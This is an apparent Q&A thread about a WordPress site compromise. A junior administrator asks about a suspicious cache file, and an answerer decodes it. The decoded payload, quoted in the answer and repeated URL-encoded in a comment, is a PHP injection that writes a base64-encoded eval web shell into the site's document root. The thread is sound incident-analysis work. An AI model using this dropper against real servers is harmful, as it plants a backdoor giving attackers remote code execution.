3

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the fly projects using Wordpress in the past. Those sites were neglected and the burden of maintenance fell on me - I don't mind though, it's entry position and I learn a lot on daily basis. I scanned the site using WordFence, wrote some clean up scripts, changed all the passwords, deleted forced admin user (yeah, it got that far), scoured through DB, tightened upload directory security ... While cleaning the site google tagged the site for malicious content (nasty big red warning). After complete clean-up I've sent request for rescan and warning flag was removed. Source of infestation was a fake plugin (no idea who or why installed it), needles to say it was deleted with the rest of infested code.

Since then business was as normal as Wordpress allows it. We're still having a lot of brute force attempts; I can imagine domain was added to some "black-hat registry", but that's ok, since passwords are mighty tight and I've set attempt limit plus consequent IP ban.

Well, today I got a notice from WordFence about infested file. My blood pressure rose like a helium filled balloon. After investigation I found out it was a single file:

wp-content/cache/meta/wp-cache-d5959f8ceb4b5dc5c5a03125b3d61348.php

And nothing else was impacted, it would seem. But I can't be sure until I know what this file was trying to achieve. Could someone take a look and maybe provide a link to resources describing how is it possible for anyone to upload this piece of ... unwanted code. Am I dealing with fake plugin again? I've cleaned everything and sealed the backdoor :(

http://pastebin.com/iv45rV9J

I've changed domain to www.somedomain.com.

Sorry for the long intro, just wanted to clarify my position and dismiss assumptions about any alternative motives - seen it happen to someone else asking similar question without any background information.

kamenjan
  • 33
  • 1
  • 5

1 Answers1

4

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

This looks like some sort of clever WordPress exploit that recursively convinces your web-page to run the hacker's code so they can access your PHP interpreter.

To be safe, you should delete this file and be on the look-out for extra PHP files created by exploits like this one (i.e. configurationbak.php).

  • Thank you very much for taking time and explaining. I'll get right on it, don't want it to get out of hands again. – kamenjan Apr 09 '16 at 16:03
  • I just noticed in the access logs for my Laravel site similar attempts. But I imagine Laravel is pretty locked down, right? Can I assume that a request to `example.com/administrator` with this payload is harmless? `{"1":"%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27\/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B"}` What should I look into? Thanks in advance! ☺ – Ryan Apr 15 '17 at 15:28
  • P.S. It seems like this person has a similar concern: https://www.reddit.com/r/sysadmin/comments/43juil/help_looking_for_advice_on_a_php_exploit/ – Ryan Apr 15 '17 at 15:29